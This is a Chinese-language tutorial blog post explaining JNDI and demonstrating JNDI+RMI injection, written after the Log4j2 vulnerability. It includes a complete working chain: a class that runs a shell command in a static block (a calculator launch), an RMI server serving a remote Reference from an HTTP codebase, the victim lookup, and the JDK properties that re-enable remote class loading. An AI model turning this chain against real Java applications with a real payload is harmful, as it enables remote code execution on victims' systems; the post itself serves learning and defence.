前言
前段时间跟着P牛学了rmi,最近又出了个Log4j2核弹漏洞,就想着要把jndi学了,毕竟类似fastjson、shiro的漏洞都会用到。
jndi
简介
JNDI(Java Naming and Directory Interface)
是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

Naming Server
命名服务将名称和对象联系起来,使得我们可以用名称访问对象,命名系统中的对象可以是DNS记录中的名称、应用服务器中的EJB组件、LDAP(Lightweight Directory Access Protocol)中的用户Profile.
我们前面介绍rmi的时候,使用过Naming.bind()
,这其实就是将名称和对象绑定起来
Directory Server
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
jndi如何使用
这里我们先介绍几个基础知识,主要参考了nice_0e3师傅的总结
InitialContext
该类继承了Context 类,是jndi命名服务的入口点,其中包括了很多命名服务的方法
1 2 3 4 5 6 7 8 9 10
| bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。
|
使用
1
| InitialContext initContext = new InitialContext();
|
References 引用
这个类代表了对一个在命名/目录系统之外的对象的引用。
我们前面提到的rmi是在服务端执行的,那我们攻击针对的目标肯定是客户端,这时候我们就需要通过References来操作,那么该类就可以通过字节码的方式被客户端实例化
构造方法的介绍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Reference(String className) className - 这个引用所指向的对象的非空的类名。 Reference(String className, RefAddr addr) className - 这个引用所指向的对象的非空的类名。 addr - 对象的非空的地址。 Reference(String className, RefAddr addr, String factory, String factoryLocation) className - 该引用所指向的对象的非空类名。 factory - 对象的工厂的类名,可能为空。 factoryLocation - 加载工厂的位置,可能为空(例如URL)。 Reference(String className, String factory, String factoryLocation) className - 这个引用所指向的对象的非空的类名。 addr - 对象的非空值地址。 factory - 对象的工厂的类名,可能为空。 factoryLocation - 加载工厂的位置,可能为空(例如URL)。
|
这里我们攻击时常用的构造方法为
1
| Reference ref = new Reference("JndiExp1","JndiExp2","http://127.0.0.1/");
|
我们对应的参数为
- JndiExp1 — 本地实例名,我们通过Reference本地实例化后的实例名
- JndiExp2 — 类的名字,也就是我们服务端类名
- http://127.0.0.1/ — 服务端位置
其他方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 add(RefAddr addr) 将地址添加到地址列表的末尾。 clear() 删除此引用中的所有地址。 clone() 使用其类名称地址列表,类工厂名称和类工厂位置制作此引用的副本。 get(int posn) 检索索引posn处的地址。 get(String addrType) 检索地址类型为“addrType”的第一个地址。 getAll() 检索此引用中的地址枚举。 getClassName() 检索此引用引用的对象的类名。 getFactoryClassLocation() 检索此引用所引用的对象的工厂位置。 getFactoryClassName() 检索此引用引用的对象的工厂的类名称。 remove(int posn) 从地址列表中删除索引posn处的地址。
|
Jndi + rmi
首先我们先写一个恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.Runtime;
public class JndiExp{ static{ try { Process runtime = Runtime.getRuntime().exec("open -a Calculator"); InputStream in = runtime.getInputStream(); BufferedReader bufferReader = new BufferedReader(new InputStreamReader(in)); String read = null; while ((read = bufferReader.readLine()) != null){ System.out.println(read); } } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args){ System.out.println("exp is already"); } }
|
将该类打包成class文件,并启动一个http服务

接着我们来写Rmi服务端,前面我们介绍过rmi,我们要先写一个servet注册服务,并将类注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RmiServer { public static void main(String[] args) throws RemoteException , NamingException , AlreadyBoundException { String url = "http://127.0.0.1:8088/"; Registry registry = LocateRegistry.createRegistry(1099); Reference ref = new Reference("Jndiexp","JndiExp",url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("obj",referenceWrapper); System.out.println("Rmi-Reference is already"); } }
|
这里我们使用Reference来达到本地执行命令的目的,但是我们注意到,我们又使用ReferenceWrapper将Reference封装了一下,前面我们说到rmi注册的服务类必须继承Remote和UnicastRemoteObject,而Reference并没有实现这两个接口,只能通过ReferenceWrapper去实现

接着我们写客户端,也就是利用InitialContext去实现jndi
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class RmiClient { public static void main(String[] args) throws NamingException { InitialContext initContext = new InitialContext(); initContext.lookup("rmi://127.0.0.1:1099/obj"); System.out.println("Rmi-Rerference client already"); } }
|

成功弹出计算器,并且我们的http服务端也接收到了请求

Jndi+rmi的方法只能适合于低版本jdk,借张图让大家更清晰的看到,如需使用需要设置两个参数
1 2
| System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
|

参考链接